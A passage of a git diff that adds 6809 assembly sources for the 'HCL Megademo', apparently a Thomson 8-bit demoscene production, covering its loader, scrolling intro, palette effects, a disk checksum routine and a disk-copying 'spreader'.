+ BNE EST
+ CMPB #29
+ BEQ EST
+ INCB
+EST STB <Z+23
+ LDB <Z+24
+ BITA #8
+ BNE WEST
+ CMPB #188
+ BEQ FJOY
+ INCB
+ BRA FJOY
+WEST BITA #4
+ BNE FJOY
+ CMPB #40
+ BEQ *+3
+ DECB
+FJOY STB <Z+24
+ LDX #$A000
+ LSRB
+ LSRB
+ LSRB
+ ABX
+ LDD <Z+23
+ ANDB #7
+ STB AJUS+1
+ STB ASUJ+1
+ LDB #40
+ MUL
+ LEAX D,X
+ STX AFFOUR+2
+ LDB <Z+25
+ BNE ANTIRE
+ LDA $E7CD
+ BITA #64
+ BNE ANTIRE+2
+ LDX PSPRI+1
+ LEAX 8*160,X
+ CMPX #SPRITE+160*64
+ BNE *+5
+ LDX #SPRITE
+ STX PSPRI+1
+ LDA #16
+ STA <Z+25
+ BRA *+4
+ANTIRE DEC <Z+25
+
+ LDX <Z+21
+ LDA ,X
+ BEQ MOVEUP
+ LBMI FBOUC
+ DEC <Z+26
+ LBNE FBOUC
+ LDB <Z+1
+ ANDB #15
+ INCB
+ STB <Z+26
+ LEAX 1,X
+ STX <Z+21
+ LDB #8
+ MUL
+ LDU #FONTE
+ LEAU D,U
+ LDX <Z+27
+ PULU D
+ STA 160,X
+ STB 120,X
+ PULU D
+ STA 80,X
+ STB 40,X
+ PULU D
+ STA ,X+
+ STB -41,X
+ PULU D
+ STA -81,X
+ STB -121,X
+ STX <Z+27
+ BRA FBOUC
+
+MOVEUP LDU <Z+27
+ LDA <Z+26
+ CMPU #$DE78
+ BEQ *+9
+ LDU #$DE78
+ STU <Z+27
+ LDA #19
+ DECA
+ STA <Z+26
+ CMPA #11
+ BNE *+6
+ LEAX 1,X
+ STX <Z+21
+ LDB #31
+ STB <Z+20
+ LDU #$DA80
+MOVE PULU D,X,Y,S
+ LEAU -40,U
+ PSHU S,Y,X,D
+ LEAU 32,U
+ PULU D,X,Y,S
+ LEAU -40,U
+ PSHU S,Y,X,D
+ LEAU 32,U
+ PULU D,X,Y,S
+ LEAU -40,U
+ PSHU S,Y,X,D
+ LEAU 32,U
+ PULU D,Y,X,S
+ LEAU -40,U
+ PSHU S,Y,X,D
+ LEAU 104,U
+ DEC <Z+20
+ BNE MOVE
+ BRA RDS
+
+FBOUC LDX #576
+ LEAX -1,X
+ BNE *-2
+ LDA $E7CD
+ BMI RDS
+ LDA <Z+17
+ LSRA
+ ASLA
+ STA <Z+17
+ LDA <Z+19
+ LSRA
+ ASLA
+ STA <Z+19
+ LDA #2
+ LDB VITX+1
+ CMPB #1
+ BEQ *+3
+ DECA
+ STA VITX+1
+ STA VITY+1
+RDS LDS #0
+ LDD #$E720
+ TFR A,DP
+ BITB <$E7
+ BEQ *-2
+ BITB <$E7
+ BNE *-2
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ LDA #4
+ STA <$DB
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST ,X
+ LDD #240
+ STB <$DA
+ STA <$DA
+
+ JSR $E806
+ CMPB #78
+ BNE *+5
+ JMP $FDC8
+ CMPB #79
+ LBNE SYNCRO
+
+RDP LDA #0
+ TFR A,DP
+ CLR $E7DC
+ CLR $E7DD
+ LDA #255
+ LDX #COLORS
+ JSR $EC00
+ RTS
+
+ FCB 0,0,0
+COLORS FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931,938
+ FDB 2611,2618,3815,123
+ FDB 0,4095,3840,4095
+MAP
+ END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/LOADER.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/LOADER.ASM
new file mode 100644
index 0000000..739aa87
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/LOADER.ASM
@@ -0,0 +1,284 @@
+FONTE EQU $A000
+TEXTE EQU $A5D0
+ECRAN EQU $5E00
+DIR EQU $D5
+Z EQU $40
+DEBDEM EQU $630C
+FINDEM EQU $6370
+SHELL EQU $637D
+
+ ORG $D690
+ FCB $B8,$B0,$A8,$A0
+ FCB $98,$90,$88,$80
+ ORG DIR*256+Z
+ FDB $100,$0201,TEXTE,0,0,0,0
+ ORG $A328
+
+G ORCC #80
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+ LDD #0
+ STD $E7DC
+ LDX #ECRAN
+ LDU #$D550
+ PULU D
+ STD ,X++
+ CMPX #$5F40
+ BNE *-7
+ DEC $E7C3
+ LDA #40
+ LDB ,U+
+ STB ,-X
+ DECA
+ BNE *-3
+ CMPU #$D698
+ BNE *-13
+ LDD #$C0C0
+ STD ,--X
+ CMPX #$4000
+ BNE *-5
+ INC $E7C3
+ LDX #COLORS
+ LDA #255
+ JSR $EC00
+ LDB #DIR
+ TFR B,DP
+ LDY <Z+4
+
+SYNCRO LDA $E7E7
+ BPL *-3
+ LDA $E7E7
+ BMI *-3
+
+ LDB <Z+3
+ BEQ *+6
+ DEC <Z+3
+ BRA FINJOY+2
+ LDA #4
+ STA <Z+3
+ LDB <Z
+ LDA $E7CC
+ BITA #4
+ BNE EST
+ DECB
+ BMI FINJOY+2
+ BRA FINJOY
+EST BITA #8
+ BNE FINJOY+2
+ INCB
+ CMPB #8
+ BEQ FINJOY+2
+FINJOY STB <Z
+
+ LDA $E7CD
+ BITA #64
+ LBEQ SORTIE
+
+ LDB <Z
+BOUCLE STB <Z+1
+ BEQ FINSCR
+ JSR SCROLL
+ LDB <Z+1
+ DECB
+ BRA BOUCLE
+
+FINSCR JSR $E806
+ CMPB #87
+ BNE PAWARP
+ LDA #$25
+ STA PAWARP+2
+PAWARP CMPB #$90
+ BRA SYNCRO
+ SUBB #$90
+ LDU #COLORS+2
+ LDB B,U
+ LDA #$63
+ STD FINDEM
+ JMP SORTIE
+
+SCROLL LDX #ECRAN+20
+ LDU #DIR*256+Z+6
+ LDA #8
+ ASL ,U+
+ ROL 19,X
+ ROL 18,X
+ ROL 17,X
+ ROL 16,X
+ ROL 15,X
+ ROL 14,X
+ ROL 13,X
+ ROL 12,X
+ ROL 11,X
+ ROL 10,X
+ ROL 9,X
+ ROL 8,X
+ ROL 7,X
+ ROL 6,X
+ ROL 5,X
+ ROL 4,X
+ ROL 3,X
+ ROL 2,X
+ ROL 1,X
+ ROL ,X
+ ROL -1,X
+ ROL -2,X
+ ROL -3,X
+ ROL -4,X
+ ROL -5,X
+ ROL -6,X
+ ROL -7,X
+ ROL -8,X
+ ROL -9,X
+ ROL -10,X
+ ROL -11,X
+ ROL -12,X
+ ROL -13,X
+ ROL -14,X
+ ROL -15,X
+ ROL -16,X
+ ROL -17,X
+ ROL -18,X
+ ROL -19,X
+ ROL -20,X
+ LEAX 40,X
+ DECA
+ BNE SCROLL+8
+ DEC <Z+2
+ BEQ *+3
+ RTS
+ LDB ,Y+
+ BNE *+8
+ LDY #TEXTE
+ LDB #2
+ ANDB #254
+ LSRB
+ LDA #8
+ STA <Z+2
+ MUL
+ LDU #FONTE-8
+ LEAU D,U
+ PULU D,X
+ STD <Z+6
+ STX <Z+8
+ PULU D,X
+ STD <Z+10
+ STX <Z+12
+ RTS
+
+SORTIE STY <Z+4
+ LDX #ECRAN
+ LDU #$D550
+ LDD ,X++
+ STD ,U++
+ CMPX #$5F40
+ BNE *-7
+ LDU FINDEM
+ JMP SHELL
+
+ERROR LDA $E7C3
+ ORA #1
+ STA $E7C3
+ LDD #0
+ STD $E7DC
+ LDX #COLORS+32
+ LDU #PHRASE+25
+ LDB <$4E
+ LSRB
+ LSRB
+ LSRB
+ LSRB
+ LDA B,X
+ LDB <$4E
+ ANDB #15
+ LDB B,X
+ STD ,U++
+ LDB <$48
+ LDA B,X
+ LDB <$49
+ LDB B,X
+ STD ,U++
+ LDB <$4B
+ LSRB
+ LSRB
+ LSRB
+ LSRB
+ LDA B,X
+ LDB <$4B
+ ANDB #15
+ LDB B,X
+ STD ,U++
+ LDB <$4C
+ LSRB
+ LSRB
+ LSRB
+ LSRB
+ LDA B,X
+ LDB <$4C
+ ANDB #15
+ LDB B,X
+ STD ,U
+
+ LDX #$4078
+ LDY #PHRASE
+ LDB ,Y+
+ JSR PRINT
+ CMPX #$40A0
+ BNE *-8
+ LDX #$41B8
+ LDB ,Y+
+ JSR PRINT
+ CMPX #$41E0
+ BNE *-8
+
+ DEC $E7C3
+ LDX #$4140
+ LDU #$D698
+ LDA #40
+ LDB ,-U
+ STB -320,X
+ STB ,X+
+ DECA
+ BNE *-7
+ CMPU #$D690
+ BNE *-17
+ LDD #$C0C0
+ STD ,X++
+ CMPX #$5F40
+ BNE *-5
+ LDX #COLORS
+ LDA #255
+ JSR $EC00
+ TST $E7C8
+ BEQ *-3
+ JMP G
+PRINT LDA #8
+ SUBB #32
+ MUL
+ LDU #FONTE
+ LEAU D,U
+ PULU D
+ STA -120,X
+ STB -80,X
+ PULU D
+ STA -40,X
+ STB ,X+
+ PULU D
+ STA 39,X
+ STB 79,X
+ PULU D
+ STA 119,X
+ STB 159,X
+ RTS
+
+COLORS FDB 0,$0C12,$181E,$4C52,$585E
+ FDB $646A,4080,4095
+ FDB $EE,$CE,$AE,$8E
+ FDB $6E,$4E,$2E,$0E
+ FCC /0123456789ABCDEF/
+PHRASE FCC / Erreur disque/
+ FCC /tte #00000000 /
+ FCC / Appuyez sur/
+ FCC / une touche /
+
+ END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/MEGASHOW.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/MEGASHOW.ASM
new file mode 100644
index 0000000..368fc2f
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/MEGASHOW.ASM
@@ -0,0 +1,574 @@
+ ********************
+ * *
+ * INTRODUCTION *
+ * *
+ * AU MEGASHOW1 HCL *
+ * *
+ ********************
+
+
+ECRAN EQU $DD74
+TEXTE EQU $8A00
+FONTE EQU $8FC8
+MASK EQU $9100
+DIR EQU $98
+Z EQU $80
+ZZ EQU DIR*256+Z
+PISTE1 EQU 56
+
+
+ ORG ZZ
+ FCB $B0,0,$B0,0,1
+ FDB TEXTE,20,0,$200,$200,$4000
+ FCB 200,0,120,0,1,255,1,0
+ FDB 0,0,PISTE1
+ FCB 0
+G ORCC #80
+ LDA #$E7
+ EXG A,DP
+ STA RDP+1
+ STS RDP-2
+ LDD #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ STA <$E5
+ LDX #$A000
+ STD ,X++
+ CMPX #$E000
+ BNE *-5
+ LDX #COOPER+368
+ STX $616B
+ LDD #$FF0E
+ STA $6249
+ STB $616D
+ INCB
+ STB <$E5
+ LDD #$100
+ STD $61D6
+ LDD #$FF45
+ STA $6288
+ JSR $EC0C
+ LDD #$2104
+ STD <$DC
+ LDD #$1102
+ STB <$DB
+ STA <$DA
+ STA <$DA
+ CLRA
+ STA <$E5
+
+SYNCRO LDD #$20E7
+ TFR B,DP
+ LDX #ZZ+9
+ BITA <$E7
+ BEQ *-2
+ BITA <$E7
+ BNE *-2
+ STA ,X+
+ MUL
+ MUL
+ MUL
+ MUL
+ LDA ,-X
+ BITA <$E7
+ BEQ *-10
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BMI *-7
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BPL *-7
+ MUL
+ MUL
+ NOP
+ LDX #$421
+ LDA #4
+ STA <$DB
+
+ LDU #COOPER
+COOP PULU D
+ STD REP+1
+ ADDD #$555
+ STD REP+8
+REP LDD #0
+ STB <$DA
+ STA <$DA
+ LDD #0
+ STB <$DA
+ STA <$DA
+ STX <$DB
+ LDD 1,U
+ CMPU #COOPER+2*184
+ BNE COOP
+
+ LDB #DIR
+ TFR B,DP
+ LDA $E7CC
+ ANDA #15
+ CMPA #15
+ BEQ JOY1
+ LDB <Z+11
+ BITA #4 ouest 1
+ BNE PO1
+ CMPB #0
+ BEQ PE1
+ DECB
+ BNE *+4
+ STB <Z+10
+PO1 BITA #8 est 1
+ BNE PE1-2
+ CMPB #8
+ BEQ *+3
+ INCB
+ STB <Z+11
+PE1 LDB <Z+13
+ BITA #2 sud 1
+ BNE PS1
+ CMPB #0
+ BEQ PN1
+ DECB
+ BNE *+4
+ STB <Z+12
+PS1 BITA #1 nord1
+ BNE PN1-2
+ CMPB #8
+ BEQ *+3
+ INCB
+ STB <Z+13
+PN1 BRA SPOT
+
+JOY1 LDA $E7CC
+ LDB <Z+21
+ BITA #64 ouest 2
+ BNE PO2
+ CMPB #0
+ BEQ PO2
+ DECB
+ BNE *+4
+ STB <Z+20
+PO2 BITA #128 est 2
+ BNE PE2-2
+ CMPB #8
+ BEQ *+3
+ INCB
+ STB <Z+21
+PE2 LDB <Z+23
+ BITA #32 sud 2
+ BNE PS2
+ CMPB #0
+ BEQ SPOT
+ DECB
+ BNE *+4
+ STB <Z+22
+PS2 BITA #16 nord 2
+ BNE SPOT-2
+ CMPB #8
+ BEQ *+3
+ INCB
+ STB <Z+23
+
+SPOT LDU #MASK-10
+ PULU X,Y,S
+ LDU <Z
+ LDA #5
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ DECA
+ BNE *-41
+ LDU <Z+2
+ LDA #5
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ DECA
+ BNE *-41
+
+ LDX #ECRAN
+ LDU #ZZ+24
+ LDA #5
+SCROL ASL ,U+
+ ROL 19,X
+ ROL 18,X
+ ROL 17,X
+ ROL 16,X
+ ROL 15,X
+ ROL 14,X
+ ROL 13,X
+ ROL 12,X
+ ROL 11,X
+ ROL 10,X
+ ROL 9,X
+ ROL 8,X
+ ROL 7,X
+ ROL 6,X
+ ROL 5,X
+ ROL 4,X
+ ROL 3,X
+ ROL 2,X
+ ROL 1,X
+ ROL ,X
+ ROL -1,X
+ ROL -2,X
+ ROL -3,X
+ ROL -4,X
+ ROL -5,X
+ ROL -6,X
+ ROL -7,X
+ ROL -8,X
+ ROL -9,X
+ ROL -10,X
+ ROL -11,X
+ ROL -12,X
+ ROL -13,X
+ ROL -14,X
+ ROL -15,X
+ ROL -16,X
+ ROL -17,X
+ ROL -18,X
+ ROL -19,X
+ ROL -20,X
+ LEAX 40,X
+ DECA
+ BNE SCROL
+ DEC <Z+4
+ BNE JOIN
+
+ LDX <Z+5
+ LDA ,X+
+ BNE *+5
+ LDX #TEXTE
+ STX <Z+5
+ LDB #5
+ MUL
+ LDU #FONTE
+ LEAS D,U
+ PULS B,X,Y
+ LDU #ZZ+29
+ PSHU Y,X,B
+ LDA #8
+ STA <Z+4
+
+JOIN LDX <Z+7 abcisse
+ LDD <Z+10
+ TSTA
+ BEQ *+3
+ NEGB
+ LEAX D,X
+ CMPX #327
+ BLO *+6
+ LDX #327
+ COMA
+ CMPX #48
+ BHI *+6
+ LDX #48
+ COMA
+ STA <Z+10
+ STX <Z+7
+
+ LDX <Z+14 ordonnée
+ LDD <Z+12
+ TSTA
+ BEQ *+3
+ NEGB
+ LEAX D,X
+ CMPX #188
+ BLO *+6
+ LDX #188
+ COMA
+ CMPX #32
+ BGT *+6
+ LDX #32
+ COMA
+ STA <Z+12
+ STX <Z+14
+
+ LDA <Z+15 adresse écran
+ LDB #40
+ MUL
+ LDX #$9B00
+ LEAX D,X
+ LDD <Z+7
+ ASRA
+ RORB
+ LSRB
+ LSRB
+ ABX
+ STX <Z
+
+ LDA <Z+8 adresse du masque
+ ANDA #7
+ LDB #240
+ MUL
+ LDU #MASK
+ LEAU D,U
+
+ LDA #10
+ LEAS ,X
+SPOT1 PULU X,Y,B,DP
+ PSHS B,DP,Y,X
+ LEAS 46,S
+ PULU X,Y,B,DP
+ PSHS B,DP,Y,X
+ LEAS 46,S
+ PULU X,Y,B,DP
+ PSHS B,DP,Y,X
+ LEAS 46,S
+ PULU X,Y,B,DP
+ PSHS B,DP,Y,X
+ LEAS 46,S
+ DECA
+ BNE SPOT1
+
+ LDA #DIR
+ TFR A,DP
+ LDX <Z+16 abcisse 2
+ LDD <Z+20
+ TSTA
+ BEQ *+3
+ NEGB
+ LEAX D,X
+ CMPX #327
+ BLO *+6
+ LDX #327
+ COMA
+ CMPX #48
+ BGT *+6
+ LDX #48
+ COMA
+ STA <Z+20
+ STX <Z+16
+
+ LDX <Z+18 ordonnée 2
+ LDD <Z+22
+ TSTA
+ BEQ *+3
+ NEGB
+ LEAX D,X
+ CMPX #192
+ BLO *+6
+ LDX #192
+ COMA
+ CMPX #32
+ BGT *+6
+ LDX #32
+ COMA
+ STA <Z+22
+ STX <Z+18
+
+ LDA <Z+19 adresse écran 2
+ LDB #40
+ MUL
+ LDX #$9B00
+ LEAX D,X
+ LDD <Z+16
+ ASRA
+ RORB
+ LSRB
+ LSRB
+ ABX
+ STX <Z+2
+
+ LDA <Z+17 adresse masque 2
+ ANDA #7
+ LDB #240
+ MUL
+ LDU #MASK
+ LEAU D,U
+
+ LEAS -4,X
+ LDX #20
+SPOT2 PULU D
+ ORA -2,S
+ ORB -1,S
+ STD -2,S
+ PULU D
+ ORA ,S
+ ORB 1,S
+ STD ,S
+ PULU D
+ ORA 2,S
+ ORB 3,S
+ STD 2,S
+ LEAS 40,S
+ PULU D
+ ORA -2,S
+ ORB -1,S
+ STD -2,S
+ PULU D
+ ORA ,S
+ ORB 1,S
+ STD ,S
+ PULU D
+ ORA 2,S
+ ORB 3,S
+ STD 2,S
+ LEAS 40,S
+ LEAX -1,X
+ BNE SPOT2
+ LDB $E7CD
+ BITB #64
+ LBNE SYNCRO
+
+ LDD #32
+ STA $E7DB
+ STA $E7DA
+ DECB
+ BNE *-4
+ LDD #$7B00
+ STD $E7DC
+ LDS #ZZ+24
+
+SANFIN LDA #2
+ STA $E7E5
+ BSR READ
+ LDA #$80
+ STA <$DD
+ LDA #3
+ STA $E7E5
+ BSR READ
+ LDA #$C0
+ STA <$DD
+ BRA SANFIN
+
+READ LDA #$60
+ TFR A,DP
+ LDU #ZZ+29
+ LDX #$A000
+ STX <$4F
+ LDA #2
+ LDB 2,U
+ STD <$48
+ LDA 1,U
+ LDB #1
+ STD <$4B
+
+ LDA #$A0 buffer
+ LDB #1 secteur
+ LDX ,U piste
+
+CHARGE TST $E7C8
+ BNE RDP-4
+ JSR $E004
+ BCS CHARGE
+ INCB
+ CMPB #17
+ BNE GOON+2
+ LDB #1
+ LEAX 1,X
+ CMPX #80
+ BNE GOON
+ LDX #0
+ LDB 2,U
+ EORB #1
+ BNE *+3
+ LDX #PISTE1
+ STB 2,U
+GOON STX <$4A
+ STB <$4C
+ INCA
+ STA <$4F
+ CMPA #$E0
+ BNE CHARGE
+
+ STX ,U
+ LDB #$E7
+ TFR B,DP
+WAIT LDA <$CD
+ BITA #64
+ BNE RDP-8
+ LDA #32
+ BITA <$E7
+ BEQ *-2
+ BITA <$E7
+ BNE *-2
+ PSHS A
+ MUL
+ MUL
+ MUL
+ MUL
+ PULS A
+ BITA <$E7
+ BEQ *-10
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BPL *-7
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BMI *-7
+ LDA #160
+ TST ,X+
+ ABX
+ DECA
+ BNE *-4
+ STA <$DB
+ LDX #$DF40
+PALS LDD ,X++
+ STB <$DA
+ STA <$DA
+ CMPX #$DF60
+ BNE PALS
+ RTS
+ TST <$C8
+ BEQ WAIT
+
+ LDS #0
+RDP LDA #0
+ TFR A,DP
+ CLR $E7DD
+ CLR $E7DC
+ LDA #255
+ LDX #COLORS
+ JSR $EC00
+ RTS
+
+ FDB 0,0
+COLORS FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931
+ FDB 938,2611,2618,3815,123
+COOPER
+ END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/MULTIMOD.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/MULTIMOD.ASM
new file mode 100644
index 0000000..b25473f
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/MULTIMOD.ASM
@@ -0,0 +1,161 @@
+****************************************
+* *
+**** M U L T I M O D ****
+*HCL* *HCL*
+****************************************
+* J'ai honte ! Pourtant c'est bien moi *
+
+
+ ORG $A000
+MAP2 EQU $A477
+
+
+G ORCC #80
+ LDA #$E7
+ EXG A,DP
+ STA RDP+1
+ LDD #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ LDA #$21
+ STA <$DC
+ CLR <$DD
+ LDA <$C3
+ ORA #1
+ STA <$C3
+ LDX #$4000
+ CLR ,X+
+ CMPX #$5F40
+ BNE *-5
+ DEC <$C3
+ CLR ,-X
+ CMPX #$4000
+ BNE *-5
+ LDX #MAP
+ STX $616B
+ LDD #$FF0E
+ STA $6249
+ STB $616D
+ LDD #$60B
+ STD $61D6
+ CLR $6288
+ LDB #69
+ JSR $EC0C
+ LDA #255
+ LDX #DATAS-8
+ JSR $EC00
+ LDA <$CD
+ BITA #64
+ BNE *-4
+ LDD #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ LDX #MAP2
+ STX $616B
+ LDD #$FF0E
+ STA $6249
+ STB $616D
+ LDD #$100
+ STD $61D6
+ CLR $6288
+ LDB #69
+ JSR $EC0C
+
+ LDA #32
+ BITA <$E7
+ BEQ *-2
+ BITA <$E7
+ BNE *-2
+ PSHS A
+ MUL
+ MUL
+ MUL
+ MUL
+ PULS A
+ BITA <$E7
+ BEQ *-10
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BPL *-7
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BMI *-7
+ LDX #892
+ LEAX -1,X
+ BNE *-2
+ TST ,X
+ LDU #DATAS
+
+ PULU X
+WAIT MUL
+ MUL
+ MUL
+ MUL
+ TST ,Y++
+ LEAX -1,X
+ BEQ *+4
+ BRA WAIT
+ LDX #7
+COULS LDA ,U+
+ ASLA
+ STA <$DB
+ PULU D
+ STB <$DA
+ STA <$DA
+ TST 1,Y
+ MUL
+ MUL
+ LEAX -1,X
+ BNE COULS
+MODE LDA ,U+
+ NOP
+ STA <$DC
+ CMPU #FINDAT
+ BEQ *+4
+ BRA *+5
+ LDU #DATAS
+ MUL
+ MUL
+ ABX
+ TST <$C8
+ BEQ WAIT-2
+RDP LDA #0
+ TFR A,DP
+ LDB #12
+ JSR $E803
+ LDA #255
+ LDX #FINDAT
+ JSR $EC00
+ RTS
+
+ FDB 0,$F0,$20,$60
+DATAS FDB 64,$10F,4,$0016,0,6,$2B
+ FDB 0,8,$5F,0,$2A
+ FDB 32,$102,$2202,$555,$30F
+ FDB $FF0A,$1BF,0,$C,$6FE,0,$21
+ FDB 40,0,2,$2,0,$E,$DFD,0,0,0
+ FDB 0,$7B
+ FDB 40,$103,3,$1B,$601,$6F08
+ FDB $777,$A00,$400C,$841,$E0F
+ FDB $9400
+ FDB 96,$501,$2407,$FFF,$0901
+ FDB $150B,$049F,$0D01,$3E00,0
+ FDB 0,0
+
+FINDAT FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931,938
+ FDB 2611,2618,3815,123
+MAP
+ END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/Megaspreader/CHECKSUM.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/Megaspreader/CHECKSUM.ASM
new file mode 100644
index 0000000..3c7b8ab
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/Megaspreader/CHECKSUM.ASM
@@ -0,0 +1,40 @@
+****************************************
+* *
+* Calcul du checksum pour une zone DSK *
+* *
+************(MEGASPREADER)**************
+
+ ORG $9F00
+
+G ORCC #80
+ LDD #$11B face et piste
+ STA $6049
+ STB $604B
+ LDX #$A000
+ STX $604F
+ CLR $E7E5
+
+ LDD #$102 lecture secteur 1
+ STB $6048
+ CLRB
+
+LOAD STA $604C
+ JSR $E004
+ LDX #$A000
+ ADDB ,X+
+ CMPX #$A100
+ BNE *-5
+ INCA
+ CMPA #17
+ BNE LOAD
+ LDA $604B
+ INCA
+ STA $604B
+ CMPA #80 derniere piste ?
+ BEQ *+6
+ LDA #1
+ BRA LOAD
+ STB *+4 la somme finale
+ RTS
+
+ END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/Megaspreader/SPREADER.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/Megaspreader/SPREADER.ASM
new file mode 100644
index 0000000..b8ca5cf
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/Megaspreader/SPREADER.ASM
@@ -0,0 +1,389 @@
+****************************************
+* *
+* MEGADEMO SPREADER: 640Ko EN 3 PASSES *
+* *
+****************************************
+* Bâclé par un Doctor Lô très pressé ! *
+
+
+FONTE EQU $7770
+MESG EQU $7A70
+MAP2 EQU MAP+$2A6
+CHECKS EQU $B980 B900= sector 53-1
+COULR EQU $3E3E
+COULW EQU $2C2C
+CART EQU 13
+ ORG $7C00
+
+G ORCC #80
+ LDA #$E7
+ EXG A,DP
+ STA RDP+1
+ STS RDP-2
+ LDD #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ LDA #$21
+ STA <$DC
+ CLR <$DD
+ LDA <$C3
+ ORA #1
+ STA <$C3
+ LDX #$4000
+ CLR ,X+
+ CMPX #$5F40
+ BNE *-5
+ DEC <$C3
+ CLR ,-X
+ CMPX #$4000
+ BNE *-5
+ LDX #MAP
+ STX $616B
+ LDD #$FF0E
+ STA $6249
+ STB $616D
+ LDD #$60B
+ STD $61D6
+ CLR $6288
+ LDB #69
+ JSR $EC0C
+ LDA #255
+ LDX #COLORS-40
+ JSR $EC00
+ LDA <$CD
+ BITA #64
+ BNE *-4
+ LDD #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ STB <$DC
+ LDX #MAP2
+ STX $616B
+ LDD #$FF0E
+ STA $6249
+ STB $616D
+ LDD #$100
+ STD $61D6
+ CLR $6288
+ LDB #69
+ JSR $EC0C
+
+ LDA <$C3
+ ORA #1
+ STA <$C3
+ LDX #CHECKS
+ LDY #PRINT-3
+ LDS #$5D20
+ TST 8,X
+ BEQ PACHEK
+ LDB #$26
+ STB TCHEK
+ LDD 9,X
+ STD -3,Y
+ LDA 11,X
+ STA -1,Y
+
+PACHEK LDA #8
+ STA ,Y
+ LDB ,X+
+ LDA #5
+ MUL
+ LDU #FONTE+32
+ LEAU D,U
+ LDD ,U++
+ STA 80,S
+ STB 40,S
+ LDD ,U++
+ STA ,S+
+ STB -41,S
+ LDA ,U
+ STA -81,S
+ DEC ,Y
+ BNE PACHEK+4
+ LDS RDP-2
+ LDA #255
+ LDX #COLORS-32
+ JSR $EC00
+
+ LDA #$60
+ TFR A,DP
+ CLR <$49
+ CLR <$50
+ LDD #$301
+ JSR PRINT
+CLAV JSR $E806
+ CMPB #48
+ BLO CLAV
+ CMPB #57
+ BHI CLAV
+ SUBB #48
+ LBEQ RDP-4
+ STB PRINT-2
+
+ LDD #$9002
+ LDX #0
+ LDY #$4504
+ JSR DISK
+ LDX #$9000
+ JSR CHECK
+
+ LDA PRINT-2
+WRITE1 STA PRINT-3
+ ADDA #16
+ STA MESG+276
+ LDD #$9008
+ LDX #0
+ LDY #$4504
+ JSR DISK
+ LDA PRINT-3
+ DECA
+ BNE WRITE1
+
+ LDD #$8002
+ LDX #53
+ LDY #$4D4C
+ JSR DISK
+ LDX #$8100 checksector = 8000
+ JSR CHECK
+
+ JSR COMPT
+ LDA PRINT-2
+WRITE2 STA PRINT-3
+ ADDA #16
+ STA MESG+276
+ LDD #$8008
+ LDX #53
+ LDY #$4D4C
+ CLR <$49
+ JSR DISK
+ LDA PRINT-3
+ DECA
+ BNE WRITE2
+
+ LDD #$9002
+ LDX #27
+ LDY #$55BC
+ JSR DISK
+ LDX #$9000
+ JSR CHECK
+
+ LDA PRINT-2
+WRITE3 STA PRINT-3
+ ADDA #16
+ STA MESG+276
+ LDD #$9008
+ LDX #27
+ LDY #$55BC
+ JSR DISK
+ LDA PRINT-3
+ DECA
+ BNE WRITE3
+
+ CLR <$49
+ JMP QUIT
+
+DISK PSHS A,B,X,Y
+ CMPB #2
+ BEQ READ
+ LDD #$600
+ JSR PRINT
+ LDD #$201
+ JSR PRINT
+ JSR ACTION
+ LDD #0
+ JSR PRINT
+ LDD #$701
+ JSR PRINT
+ LDU #COULW
+ BRA JOIN
+READ LDD #$400
+ JSR PRINT
+ LDD #$201
+ JSR PRINT
+ JSR ACTION
+ LDD #0
+ JSR PRINT
+ LDD #$501
+ JSR PRINT
+ LDU #COULR
+JOIN PULS Y,X,B,A
+ STB <$48
+ STX <$4A
+ LDB #2
+ STB $E7E5
+ LDB #1
+ STB <$4C
+ STA <$4F
+CHARGE TST $E7C8
+ BEQ *+5
+ JMP RDP-4
+ JSR $E004
+ BCS ERROR
+ STU ,Y++
+ INCB
+ CMPB #17
+ BNE GOON+2
+ LDB #1
+ LEAY 8,Y
+ LEAX 1,X
+ CMPX #80
+ BNE GOON
+ LDX #0
+ LDB <$49
+ EORB #1
+ LDX #0
+ STB <$49
